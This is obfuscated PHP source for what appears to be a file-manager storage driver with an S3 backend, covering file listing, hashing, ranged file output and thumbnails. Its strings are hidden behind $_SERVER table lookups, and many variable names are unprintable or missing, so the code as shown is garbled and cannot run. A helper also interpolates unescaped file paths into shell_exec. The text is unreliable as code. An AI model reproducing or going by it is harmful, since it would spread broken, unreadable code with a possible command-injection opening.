tempFile($ً饬 = '', $ = '') { if (!$ً饬) { $ً饬 = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[ׇ][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $܎ = $ . $ً饬; @touch($܎); if ($) { file_put_contents($܎, $); } return $܎; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($ٳ, $ = '', $ = REPEAT_RENAME) { } public function mkdir($, $ = REPEAT_SKIP) { } public function delFile($ڊ) { } public function delFolder($ȏŌ) { } public function copyFile($, $ϖ) { } public function moveFile($᧘, $) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($ʼ, $ƫ) { } public function exist($с٥) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($ӭ) { } public function isFolder($dž) { } public function size($) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($˕ٌ) { return $this->info($˕ٌ); } public function infoFull($) { return $this->info($); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($݊) { $Ժٞ =& $_SERVER[ׇ]; static $ = array(); if (isset($[$݊])) { return $[$݊]; } $͙ = $this->info($݊); if ($͙ && $͙[$Ժٞ[33]] == $Ժٞ[78]) { $暺 = array($Ժٞ[79] => 0, $Ժٞ[80] => 0, $Ժٞ[81] => 0); $this->infoChildren($݊, $暺); $͙[$Ժٞ[79]] = $暺[$Ժٞ[79]]; $͙[$Ժٞ[82]] = array($Ժٞ[83] => $暺[$Ժٞ[80]], $Ժٞ[84] => $暺[$Ժٞ[81]]); $[$݊] = $͙; } return $͙; } public function listPath($ҋޯ, $ٽ = false) { } public function has($݃, $羸 = false, $Ϸ = false) { } public function canRead($𳯠) { } public function canWrite($) { } public function getContent($Ͱ) { } public function setContent($ر, $ = '') { } protected function infoChildren($, &$­) { $ٮ =& $_SERVER[ׇ]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$ٮ[85]], $[$ٮ[86]]); foreach ($ as $ئ) { if ($ئ[$ٮ[33]] == $ٮ[78]) { $­[$ٮ[81]]++; $߂ = $this->getPathInner($ئ[$ٮ[87]]); $this->infoChildren($߂, $­); } else { $­[$ٮ[80]]++; $­[$ٮ[79]] += $ئ[$ٮ[79]]; } } } public function fileSubstr($, $ܡ, $ӳ) { } public function listAll($ޫ) { } public function listAllMake($, &$ܾ) { $ =& $_SERVER[ׇ]; check_abort_echo(); $Ŧ = $this->listPath($, !0); if (!$Ŧ) { return; } $ˌĎ = array_merge($Ŧ[$[85]], $Ŧ[$[86]]); foreach ($ˌĎ as $Ӣ) { $ـ = $Ӣ[$[33]] == $[78]; $ = array($[87] => $Ӣ[$[87]], $[78] => $ـ); if (isset($Ӣ[$[79]])) { $[$[79]] = $Ӣ[$[79]]; } if (isset($Ӣ[$[88]])) { $[$[88]] = $Ӣ[$[88]]; } if (!$ـ) { $ܾ[] = $; continue; } $ܾ[] = $; $ = $Ӣ[$[87]]; $ = $this->pathDriver; if (substr($Ӣ[$[87]], 0, strlen($)) == $) { $ = substr($, strlen($)); } $this->listAllMake($, $ܾ); } } public function listAllSimple($, $ߕ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $ߕ); } public function listAllSimpleMake($į, $, $•) { $᡻ =& $_SERVER[ׇ]; $ˍ = array(); $ = rtrim(get_path_father($), $᡻[8]) . $᡻[8]; foreach ($į as $Ӄå) { $ = array($᡻[87] => $Ӄå[$᡻[87]], $᡻[89] => $Ӄå[$᡻[87]], $᡻[78] => $Ӄå[$᡻[78]]); if (isset($Ӄå[$᡻[79]]) && !$Ӄå[$᡻[78]]) { $[$᡻[79]] = $Ӄå[$᡻[79]]; } if (isset($Ӄå[$᡻[88]])) { $[$᡻[88]] = $Ӄå[$᡻[88]]; } if (is_array($Ӄå[$᡻[90]])) { $[$᡻[89]] = $Ӄå[$᡻[90]][$᡻[87]]; $[$᡻[79]] = $Ӄå[$᡻[90]][$᡻[79]]; $[$᡻[88]] = $Ӄå[$᡻[90]][$᡻[88]]; } else { if (substr($Ӄå[$᡻[87]], 0, strlen($)) == $) { $[$᡻[87]] = substr($Ӄå[$᡻[87]], strlen($)); } } $̡ᖋ = $Ӄå[$᡻[78]] ? $᡻[8] : $᡻[12]; $[$᡻[89]] = rtrim($[$᡻[89]], $᡻[8]) . $̡ᖋ; $[$᡻[87]] = $᡻[8] . trim($[$᡻[87]], $᡻[8]) . $̡ᖋ; if (!$•) { $Ͽ = explode($᡻[8], trim($[$᡻[87]], $᡻[8])); $[$᡻[87]] = $᡻[8] . implode($᡻[8], array_slice($Ͽ, 1)) . $̡ᖋ; } $ˍ[] = $; } return array_sort_by($ˍ, $᡻[87]); } public function upload($, $ʊ, $͟ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($ϋ延, $, $҂ϊ) { } public function uploadFileByPath($, $ا, $ = array()) { } public function isUploadServer() { $đ =& $_SERVER[ׇ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $đ[91]) { return !0; } return $GLOBALS[$đ[6]][$đ[92]][$đ[93]]; } public function isFileOutServer() { $ꑴ =& $_SERVER[ׇ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $ꑴ[91]) { return !0; } return $GLOBALS[$ꑴ[6]][$ꑴ[92]][$ꑴ[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ѹ) { $ݏ =& $_SERVER[ׇ]; if (!$this->isCdnHost()) { return $ѹ; } return str_replace(trim(get_url_root($ѹ), $ݏ[8]), trim($this->cdnHost, $ݏ[8]), $ѹ); } public function uploadLink($Ҩ, $ = 0) { $ =& $_SERVER[ׇ]; if ($this->isUploadServer()) { return; } $ք = $this->getType(); if (!in_array($ք, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ = $ <= $ ? $[95] : $[96]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ܙ = $this->{$}($Ҩ, $); if ($ܙ) { $ܙ[$[97]] = $Ҩ; $ܙ[$[98]] = $ք; } return $ܙ; } public function uploadFormData($а, $ = 3600) { } public function multiUploadFormData($, $歿 = 3600) { } public function download($†, $) { } public function ext($Ԝ¨) { $Ӈ =& $_SERVER[ׇ]; if (strpos($Ԝ¨, $Ӈ[8]) === -1) { $ڟ = $Ԝ¨; } else { $ڟ = $this->pathThis($Ԝ¨); } $ӈ = $Ӈ[12]; if (strstr($ڟ, $Ӈ[10])) { $ӈ = substr($ڟ, strrpos($ڟ, $Ӈ[10]) + 1); $ӈ = strtolower($ӈ); } if (strlen($ӈ) > 3 && preg_match($Ӈ[99], $ӈ, $˝֢)) { $ӈ = $Ӈ[12]; } return $ӈ; } public function pathThis($) { $ =& $_SERVER[ׇ]; $ = str_replace($[100], $[8], rtrim($, $[8])); $Ҷ͎ = strrpos($, $[8]); if ($Ҷ͎ === !1) { return $; } return substr($, $Ҷ͎ + 1); } public function pathFather($) { $߷ =& $_SERVER[ׇ]; $ = str_replace($߷[100], $߷[8], rtrim($, $߷[8])); $ę = strrpos($, $߷[8]); if ($ę === !1) { return $߷[12]; } return substr($, 0, $ę + 1); } public function hashSimple($ۻ֋) { $ɷƎ =& $_SERVER[ׇ]; if (!$ۻ֋) { return md5($ɷƎ[12]); } $ߒ = $this->size($ۻ֋); $ = 200; $⡂ = 50; if ($ߒ <= $ * $⡂) { return $this->hashMd5($ۻ֋) . $ߒ; } $ = intval($ߒ / $⡂); $斯 = $ɷƎ[12]; for ($ = 0; $ < $⡂; $++) { $斯 .= $this->fileSubstr($ۻ֋, $ * $, $); } $斯 .= $this->fileSubstr($ۻ֋, $ߒ - $, $); return md5($斯) . $ߒ; } public static $md5Cache = array(); public function hashMd5($ҏ) { if (!$ҏ) { return md5($_SERVER[ׇ][12]); } $ҏ = $this->iconvSystem($ҏ); if (isset(self::$md5Cache[$ҏ])) { return self::$md5Cache[$ҏ]; } self::$md5Cache[$ҏ] = $this->hashMd5Shell($ҏ); if (!self::$md5Cache[$ҏ]) { self::$md5Cache[$ҏ] = @md5_file($ҏ); } return self::$md5Cache[$ҏ]; } private function hashMd5Shell($Σ倜) { $͗綡 =& $_SERVER[ׇ]; if (!$Σ倜) { return md5($͗綡[12]); } if (!function_exists($͗綡[101])) { return !1; } $߿ = array($͗綡[102], $͗綡[103]); $˼쯫 = Cache::get($͗綡[104]); if (!$˼쯫) { $˛͵ = BASIC_PATH . $͗綡[105]; $ = md5_file($˛͵); $˼쯫 = $͗綡[106]; foreach ($߿ as $봌) { $˥ = shell_exec($봌 . "\x20\x22{$˛͵}\42"); if ($˥ && substr(trim($˥), 0, 32) == $) { $˼쯫 = $봌; break; } } Cache::set($͗綡[104], $˼쯫, 3600); } if ($˼쯫 == $͗綡[106]) { return !1; } $˥ = shell_exec($˼쯫 . "\40\x22{$Σ倜}\42"); $˥ = str_replace($͗綡[107], $͗綡[12], $˥); return substr($˥, 0, 32); } public function link($⯨) { return $⯨; } public function fileOut($ַ, $΀Ά = false, $ˠ = false, $뵺 = '') { $ =& $_SERVER[ׇ]; $this->cacheMethod(null, null); if (!$ַ || !$this->exist($ַ)) { show_json(LNG($[108]), !1, $ˠ); } $ێ = $this->getType() == $[109]; $ = $GLOBALS[$[6]][$[92]][$[110]][$[111]]; $ = (double) $GLOBALS[$[6]][$[92]][$[110]][$[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $Խ = $this->infoFull($ַ); $ = $Խ[$[79]]; $ = gmdate($[113], $Խ[$[88]]); $߈ = $ˠ ? $ˠ : $this->iconvApp($Խ[$[32]]); $ۢ؝ = 0; $䆐 = $ - 1; $ߩ = $this->ext($߈); if (in_array($ߩ, array($[114], $[115], $[116], $[117]))) { $ߩ = $[118]; } if (in_array($ߩ, array($[119]))) { $ߩ = $[120]; } if (!$뵺) { $뵺 = md5($ . $); } $뵺 = $[121] . $뵺 . $[121]; $̄ = get_file_mime($ߩ); $ = !0; $ = isset($_GET[$[122]]) ? !1 : !0; if ($΀Ά === !1 && !mime_support($̄)) { $̄ = $[123]; } header($[124]); header($[125] . $̄); $ٞ = rawurlencode($߈); $ٞ = $[121] . $ٞ . $[126] . $ٞ; if ($΀Ά) { header($[127]); header($[128] . $ٞ); } else { if ($) { header($[129] . $ٞ); } } $׻놿 = 3600 * 24 * 30; header($[130]); header($[131]); header($[132] . $׻놿); header($[133] . gmdate($[113], time() + $׻놿) . $[134]); if (isset($_SERVER[$[135]]) && strtotime($_SERVER[$[135]]) == $Խ[$[88]]) { header($[136], !0, 304); die; } if (isset($_SERVER[$[137]]) && $_SERVER[$[137]] == $뵺) { header($[138] . $뵺, !0, 304); die; } header($[138] . $뵺); header($[139] . $ . $[134]); header($[140] . $߈); header($[141]); header($[142] . $); header($[143]); Hook::trigger($[144], $ַ, $, $߈, $ߩ); if (!$΀Ά && $ߩ == $[145]) { if ($ > 1024 * 1024 * 5) { die; } $ƍ = $this->getContent($ַ); $ƍ = Html::clearSVG($ƍ); header($[146] . strlen($ƍ)); echo $ƍ; die; } $ٵ = strtolower($_SERVER[$[147]]); if ($ێ && $ٵ && $) { if (strstr($ٵ, $[148])) { header($[149] . $ַ); } else { if (strstr($ٵ, $[150])) { header($[151] . $ַ); } else { if (strstr($ٵ, $[152])) { header($[153] . $ַ); } } } if ($) { header($[154] . $); } return; } if (isset($_SERVER[$[155]])) { if (preg_match($[156], $_SERVER[$[155]], $食)) { $ۢ؝ = intval($食[1]); $ۢ؝ = $ۢ؝ <= 0 ? 0 : ($ۢ؝ >= $䆐 ? $䆐 : $ۢ؝); if (!empty($食[2])) { $ = intval($食[2]); $䆐 = $ < $ۢ؝ ? $ۢ؝ : ($ >= $䆐 ? $䆐 : $); } } header($[157]); header("\103\x6f\156\164\145\x6e\x74\x2d\x52\x61\x6e\x67\145\x3a\40\x62\x79\x74\x65\x73\40{$ۢ؝}\55{$䆐}\x2f" . $); } else { header($[158]); } header($[159]); header($[160]); $ = !0; if ($_SERVER[$[161]] == $[162] && $ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($[163] . ($䆐 - $ۢ؝ + 1)); } if ($_SERVER[$[164]] == $[165]) { return; } $˪Ӫ = array($[166] => !1, $[167] => $ۢ؝, $[168] => $䆐, $[169] => $ߩ, $[170] => $Խ, $[171] => $[12], $[172] => 0); $˪Ӫ = Hook::filter($[173], $˪Ӫ); $ = 1024 * 300; $Ӣ = 0; if ($) { $Ӣ = intval(1000 * 1000 * ($ / $)); } while ($ۢ؝ <= $䆐) { $ = timeFloat(); check_abort(); $Ϝ = $䆐 - $ۢ؝ + 1; if ($Ϝ <= $) { $ = $Ϝ; } $ƍ = $this->fileSubstr($ַ, $ۢ؝, $); if ($˪Ӫ[$[166]]) { $˪Ӫ[$[171]] = $ƍ; $˪Ӫ[$[172]] = $ۢ؝; $˪Ӫ = Hook::filter($[174], $˪Ӫ); $ƍ = $˪Ӫ[$[171]]; } echo $ƍ; $ۢ؝ += $; if ($ == $Ϝ) { $ۢ؝ = $䆐 + 1; } if ($Ӣ) { $̇ = intval(1000 * 1000 * (timeFloat() - $)); $ = $Ӣ - $̇; if ($ > 5) { usleep($); } } } } public function fileOutServer($پ, $ = false, $ = false, $ܨ = '') { $this->fileOut($پ, $, $, $ܨ); } public function fileOutLink($) { header($_SERVER[ׇ][175] . $); die; } public function cacheMethod($, $, $х = null) { $ꗪ =& $_SERVER[ׇ]; static $ = array(); $ѻ = $ ? ltrim($this->getPathOuter($), $ꗪ[8]) : $ꗪ[12]; $ = $ꗪ[176] . $ . $ꗪ[177] . rtrim($ѻ, $ꗪ[8]); if (is_null($)) { $ = array(); return; } if (is_null($)) { foreach ($ as $ => $Ԑ) { if (!strstr($, $ꗪ[176] . $ . $ꗪ[178])) { continue; } unset($[$]); } return; } if (!is_null($х)) { $[$] = $х; return; } $ = isset($[$]) ? $[$] : null; if (!is_null($)) { return $; } $ = $this->{$}($); $[$] = $; return $; } public function cacheMethodInfoSet($, $, $輷֎ = false) { $ =& $_SERVER[ׇ]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[179], $, $); $this->cacheMethod($[180], $, $ ? !1 : !0); if (is_array($輷֎)) { $this->cacheMethod($[181], $, $輷֎); } } public function fileOutImage($, $ = 250) { $ʒ =& $_SERVER[ׇ]; set_timeout(); if (substr($, 0, 4) == $ʒ[152]) { $this->fileOutLink($); } $˃ = $this->info($); $ = !1; $ֵ = isset($GLOBALS[$ʒ[182]]) ? $GLOBALS[$ʒ[182]] : array(); if ($ֵ && $ֵ[$ʒ[183]] == $˃[$ʒ[87]]) { $˃ = $ֵ; $ = $˃[$ʒ[184]]; if ($ && isset($[$ʒ[185]])) { if ($[$ʒ[185]] <= $ && $[$ʒ[186]] <= $) { $ = !0; } } } if ($˃[$ʒ[79]] <= 1024 * 50 || $ || !function_exists($ʒ[187]) || $˃[$ʒ[169]] == $ʒ[188]) { return $this->fileOut($, !1, $˃[$ʒ[32]]); } $ؒ = kodIO::hashPath($˃); $ = "\143\x6f\166\145\162\x5f{$ؒ}\x5f{$}\x2e\160\156\x67"; $Ҭ = IO_PATH_SYSTEM_TEMP . $ʒ[189]; $ś = IO::infoFullSimple($Ҭ); $ = $ś && is_array($ś) ? $ś[$ʒ[87]] : $ʒ[12]; if (!$) { $ = IO::mkdir($Ҭ); } if ($˃[$ʒ[190]] == $ʒ[191] && isset($˃[$ʒ[192]]) && $˃[$ʒ[192]] == kodIO::sourceID($)) { $ = $˃[$ʒ[193]]; if ($ <= 500) { $푸 = preg_replace($ʒ[194], $ʒ[195], $˃[$ʒ[32]]); $ = IO::fileNameExist($, $푸); } return IO::fileOut(KodIO::make($), !1, $˃[$ʒ[32]]); } $ = IO::fileNameExist($, $); if ($) { return IO::fileOut(KodIO::make($), !1, $˃[$ʒ[32]]); } if ($ > 1000) { $this->makeImageCover($, $, $, $); $this->makeImageCover($, $, "\143\x6f\x76\x65\162\137{$ؒ}\137\62\x35\x30\56\x70\156\147", 250); $ = IO::fileNameExist($, $); if ($) { return IO::fileOut(KodIO::make($), !1, $˃[$ʒ[32]]); } die; } if (!kodIO::allowCover($˃)) { return $this->fileOut($, !1, $˃[$ʒ[32]]); } $ = Cache::get($); if ($ == $ʒ[196] || $ == $ʒ[197]) { echo $; die; } Cache::set($, $ʒ[197], 60); $ = array($, $˃[$ʒ[87]], $, $); $苿 = $ʒ[198] . $˃[$ʒ[79]] . $ʒ[199] . $ . $ʒ[200] . $˃[$ʒ[32]] . $ʒ[201] . $˃[$ʒ[87]]; TaskQueue::add($ʒ[202], $, $苿, $); } public function makeImageCover($, $ڿ, $ح, $ލ) { $ =& $_SERVER[ׇ]; if (IO::fileNameExist($, $ح)) { return $[203]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $ح; del_file($); $ = IO::copy($ڿ, TEMP_FILES, !1, $ح); if (!@file_exists($)) { return $[204]; } ImageThumb::createThumb($, $, $ލ, $ލ * 10); if (@file_exists($)) { Cache::remove($ح); return IO::move($, $); } Cache::set($ح, $[196], 600); del_file($); return $[205] . $ . $[74]; } public function fileOutImageServer($벫, $˨ = 250) { $this->fileOutImage($벫, $˨); } public function fileNameAuto($Ҝ, $, $Ӟ = REPEAT_RENAME, $ = false) { $뒬 =& $_SERVER[ׇ]; $‚ = $Ҝ === $뒬[12] ? $ : rtrim($Ҝ, $뒬[8]) . $뒬[8] . $; if ($Ӟ == REPEAT_REPLACE || !$this->exist($‚) || $ && $Ӟ != REPEAT_RENAME_FOLDER) { return $; } if ($Ӟ == REPEAT_SKIP) { return !1; } $ = $뒬[10] . get_path_ext($); $ = $ == $뒬[10] || $ ? $뒬[12] : $; $ = 1; $ = substr($, 0, strlen($) - strlen($)); $ؤ = $ . "\50{$}\x29{$}"; while ($this->exist(rtrim($Ҝ, $뒬[8]) . $뒬[8] . $ؤ)) { $ؤ = $ . "\50{$}\x29{$}"; $++; } return $ؤ; } private function fileNameAutoList($Ǎ, $ݎ見, $ = false) { $ޠ =& $_SERVER[ׇ]; $ގֻ = $this->listPath($Ǎ, !0); $ގֻ = array_merge($ގֻ[$ޠ[85]], $ގֻ[$ޠ[86]]); $ = array_to_keyvalue($ގֻ, $ޠ[12], $ޠ[32]); $ = $ޠ[10] . get_path_ext($ݎ見); $ = $ == $ޠ[10] || $ ? $ޠ[12] : $; $݅ = substr($ݎ見, 0, strlen($ݎ見) - strlen($)); $釺ɍ = $݅ . "\50\60\x29{$}"; for ($ = 1; $ <= count($) + 1; $++) { $釺ɍ = $݅ . "\50{$}\x29{$}"; if (!in_array_not_case($釺ɍ, $)) { return $釺ɍ; } } return $釺ɍ; } public function listAllFiles($҆, $ܿ) { $ =& $_SERVER[ׇ]; if (empty($ܿ)) { return array(); } $ = array_keys($ܿ); $Ʊ = array(); $҆ = trim($҆, $[8]); foreach ($ܿ as $ => $) { $άҽ = ltrim(substr(trim($, $[8]), strlen($҆)), $[8]); if (substr($, -1) == $[8]) { $άҽ = rtrim($άҽ, $[8]) . $[8]; } $Ʊ = array_merge($Ʊ, $this->slicePath($άҽ)); } $Ғ = array(); foreach (array_unique($Ʊ) as $) { $ = array($[87] => $this->getPathOuter($[8] . $҆ . $[8] . $), $[78] => 1, $[79] => 0); if (substr($, -1) != $[8]) { $[$[78]] = 0; $ö = $this->getPath($҆ . $[8] . $); if (isset($ܿ[$ö])) { $ˈ = $ܿ[$ö]; if (isset($ˈ[$[79]])) { $[$[79]] = intval($ˈ[$[79]]); } if (isset($ˈ[$[206]])) { $[$[88]] = intval($ˈ[$[206]]); } } } $Ғ[] = $; } return $Ғ; } public function slicePath($) { $ү =& $_SERVER[ׇ]; $¦ = explode($ү[8], trim($, $ү[8])); $΋ = 0; do { ++$΋; $[] = implode($ү[8], array_slice($¦, 0, $΋)) . $ү[8]; } while ($΋ < count($¦)); $[count($¦) - 1] = $; return $; } public function getHost() { $ =& $_SERVER[ׇ]; $є = parse_url(trim($this->domain, $[8])); $޲ = isset($є[$[207]]) ? $є[$[207]] : http_type(); $ฌ = isset($є[$[208]]) ? $є[$[208]] : $є[$[87]]; if (isset($є[$[209]])) { $ฌ .= $[4] . $є[$[209]]; } return $޲ . $[210] . $ฌ; } public function pathEncode($›׾) { $Ϡ =& $_SERVER[ׇ]; return str_replace($Ϡ[211], $Ϡ[8], rawurlencode($›׾)); } public function writeLog($ = '', $߂ = false) { $ =& $_SERVER[ׇ]; $⬅ = in_array(ACTION, array($[212], $[213])); if (!$⬅ && !GLOBAL_DEBUG) { return; } $Н = $; static $ = null; if (!$) { $ = strtoupper($this->getType()); } $ = $ . $[214] . $; if ($߂) { $ = error_get_last(); if ($) { $ = array($, $); } } write_log($, $[215]); if ($⬅) { throw new Exception($Н); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($;) { set_timeout(); require_once SDK_DIR . $_SERVER[ׇ][216]; parent::__construct(); $this->_init($;); } public function _init($) { $֡ =& $_SERVER[ׇ]; $this->config = $; foreach ($ as $ө => $᷽·) { if (isset($this->{$ө})) { $this->{$ө} = $᷽·; } } $this->endpoint = $[$֡[217]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($֡[212], $֡[213]))) { $this->client->setExceptions(); } } public function setSignVersion($ƴ = "\x76\x34") { $this->signVer = $ƴ; $this->client->setSignatureVersion($ƴ); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $ٛ) { return null; } } public function isBucketCors() { $ =& $_SERVER[ׇ]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$[218]])) { $[$[218]] = explode($[50], $[$[218]]); } if ($[$[219]] != $[220] || !in_array($[220], $[$[218]])) { return !1; } $ = array_map($[221], $[$[222]]); if (!is_array($)) { $ = array(); } $Ƿ = array($[223], $[224], $[225], $[226], $[227]); $ = array_diff($Ƿ, $); return empty($); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($, $ = '', $򭊱 = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($Ѭ, $ = REPEAT_SKIP) { $ =& $_SERVER[ׇ]; if (empty($Ѭ) && $Ѭ !== $[228]) { return !1; } if ($ && $this->_isFolder($Ѭ)) { return $this->getPathOuter($Ѭ); } $ = $this->setContent($Ѭ, $[12], !0); if ($ !== !1) { return $this->getPathOuter($Ѭ); } return !1; } public function copyFile($폞, $胜ˀ, $㭃 = array()) { $µ =& $_SERVER[ׇ]; $ދސ = $this->objectMeta($폞); if (!$ދސ) { return !1; } if ($ދސ[$µ[79]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $폞, $this->bucket, $胜ˀ, $µ[229], $㭃); } else { $ = $this->client->multiCopyObject($this->bucket, $폞, $this->bucket, $胜ˀ, $㭃); } $ = $ ? $this->getPathOuter($胜ˀ) : !1; return $; } public function moveFile($ڲ, $Ѡ) { if ($this->copyFile($ڲ, $Ѡ)) { $this->delFile($ڲ); return $this->getPathOuter($Ѡ); } return !1; } public function delFile($ﮓ) { return $this->client->deleteObject($this->bucket, $ﮓ); } public function delFolder($) { $㶜 =& $_SERVER[ׇ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $㶜[8]) . $㶜[8]; if (!empty($) && $ !== $㶜[228] && !in_array($, $[$㶜[85]])) { $[$㶜[85]][] = $; } $ = $this->delByBatch($[$㶜[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$㶜[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($ʼn) { foreach (array_chunk($ʼn, 1000) as $) { $ߖ = $this->client->deleteObjects($this->bucket, $); if (!$ߖ) { return !1; } } return !0; } public function rename($Ǭ, $) { return $this->renameObject($Ǭ, $); } public function listPath($ח, $ = false) { $Ň =& $_SERVER[ׇ]; $ű = $this->fileList($ח, $Ň[8], !0); foreach ($ű[$Ň[85]] as $ => $˖) { $ű[$Ň[85]][$] = $this->folderInfo($˖, $, $˖); } foreach ($ű[$Ň[86]] as $ => $˖) { $ű[$Ň[86]][$] = $this->fileInfo($˖[$Ň[32]], $, $˖); } return $ű; } protected function infoChildren($͊, &$꜖) { $ī =& $_SERVER[ׇ]; $ = $this->fileList($͊, $ī[12], !0); $꜖[$ī[81]] += count($[$ī[85]]); $꜖[$ī[80]] += count($[$ī[86]]); foreach ($[$ī[86]] as $̈́) { if (!$̈́ || !$̈́[$ī[79]]) { continue; } $꜖[$ī[79]] += $̈́[$ī[79]]; } } private function fileInfo($ت, $ƿϦ = false, $ = array()) { $Ɔ =& $_SERVER[ׇ]; $Ц = array($Ɔ[32] => $this->pathThis($ت), $Ɔ[87] => $this->getPathOuter($ت), $Ɔ[33] => $Ɔ[230], $Ɔ[169] => $this->ext($ت), $Ɔ[79] => isset($[$Ɔ[79]]) ? $[$Ɔ[79]] : 0); if ($ƿϦ) { return $Ц; } $Ц[$Ɔ[231]] = $Ц[$Ɔ[88]] = 0; $Ц[$Ɔ[232]] = $Ц[$Ɔ[233]] = !0; if (empty($)) { $ = $this->objectMeta($ت); if (!$) { return $Ц; } } if (isset($[$Ɔ[234]]) && $[$Ɔ[234]]) { $Ц[$Ɔ[235]] = $[$Ɔ[234]]; } if (isset($[$Ɔ[206]])) { $Ц[$Ɔ[88]] = $[$Ɔ[206]]; } if (isset($[$Ɔ[79]])) { $Ц[$Ɔ[79]] = $[$Ɔ[79]]; } return $Ц; } private function folderInfo($ǥ, $ꈍ = false, $ӛ = array()) { $݄ =& $_SERVER[ׇ]; $ = array($݄[32] => $this->pathThis($ǥ), $݄[87] => $this->getPathOuter($݄[8] . $ǥ), $݄[33] => $݄[78]); if ($ꈍ) { return $; } $[$݄[231]] = $[$݄[88]] = 0; $[$݄[232]] = $[$݄[233]] = !0; if ($ǥ == $݄[12]) { return $; } if (empty($ӛ)) { $ӛ = $this->objectMeta(trim($ǥ, $݄[8]) . $݄[8]); } if (isset($ӛ[$݄[206]])) { $[$݄[231]] = $ӛ[$݄[206]]; } return $; } private function fileList($, $槜 = '', $ = 0) { $ =& $_SERVER[ׇ]; $ = rtrim($, $[8]) . $[8]; $ = $this->listObjs($, null, null, $槜); if (!$) { return array($[85] => array(), $[86] => array()); } $ = $ϵ = array(); foreach ($[$[236]] as $) { $͎ = $[$[32]]; if ($͎ == $) { continue; } $Ҡ = isset($[$[79]]) ? $[$[79]] : 0; $΃ = $Ҡ == 0 && substr($͎, strlen($͎) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($͎, $΃, $); if ($΃) { $[] = $͎; continue; } $ϵ[] = $ ? $ : $͎; } foreach ($[$[237]] as $) { $[] = $[$[32]]; $this->cacheMethodInfoSet($[$[32]], !0); } $this->cacheMethodInfoSet($, !0); return array($[85] => $, $[86] => $ϵ); } private function listObjs($Ϲ, $̋ = null, $ۊ = null, $ŵ = null) { $΍䤔 =& $_SERVER[ׇ]; $Ϲ = trim($Ϲ, $΍䤔[8]); $ˣ = empty($Ϲ) && $Ϲ !== $΍䤔[228] ? $΍䤔[12] : $Ϲ . $΍䤔[8]; return $this->client->getBucket($this->bucket, $ˣ, $̋, $ۊ, $ŵ, !0); } public function has($Ն, $ꆖ = false, $ = true) { $ʤ =& $_SERVER[ׇ]; $Ն = trim($Ն, $ʤ[8]); $ج = empty($Ն) && $Ն !== $ʤ[228] ? $ʤ[12] : $Ն . $ʤ[8]; $ۀʣ = null; $ߪ = 500; $ = $ʤ[8]; $ = $˩ӯ = array(); while (!0) { $Ӝ = $this->listObjs($Ն, $ۀʣ, $ߪ, $); if (!$Ӝ) { break; } $ۀʣ = $Ӝ[$ʤ[238]]; $䰹Ω = $Ӝ[$ʤ[236]]; $ = $Ӝ[$ʤ[237]]; if (empty($䰹Ω) && empty($)) { break; } if (count($䰹Ω) == 1 && $䰹Ω[0][$ʤ[32]] == $ج) { break; } if ($ꆖ) { if (count($䰹Ω)) { $䰹Ω = array_column($䰹Ω, $ʤ[32]); $ = array_merge($, $䰹Ω); } if (count($)) { $ = array_column($, $ʤ[32]); $˩ӯ = array_merge($˩ӯ, $); } if ($ۀʣ === null) { break; } continue; } if ($) { if (!empty($䰹Ω)) { if (count($䰹Ω) > 1 || isset($䰹Ω[0][$ʤ[32]]) && $䰹Ω[0][$ʤ[32]] != $ج) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ۀʣ === null) { break; } } if ($ꆖ) { $ = array_diff($, array($ج)); $ = count(array_unique($)); $˩ӯ = count(array_unique($˩ӯ)); return array($ʤ[239] => $, $ʤ[240] => $˩ӯ); } return !1; } public function listAll($҆) { $č =& $_SERVER[ׇ]; $ = $this->fileList($҆, $č[12], !0); $ = array_to_keyvalue($[$č[86]], $č[32]); foreach ($[$č[85]] as $׼) { if (is_string($׼)) { $[$׼] = array($č[79] => 0); } } return $this->listAllFiles($҆, $); } public function canRead($) { $ǃҌ =& $_SERVER[ׇ]; $ȃѭ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$ȃѭ) { return !1; } return in_array($ȃѭ, 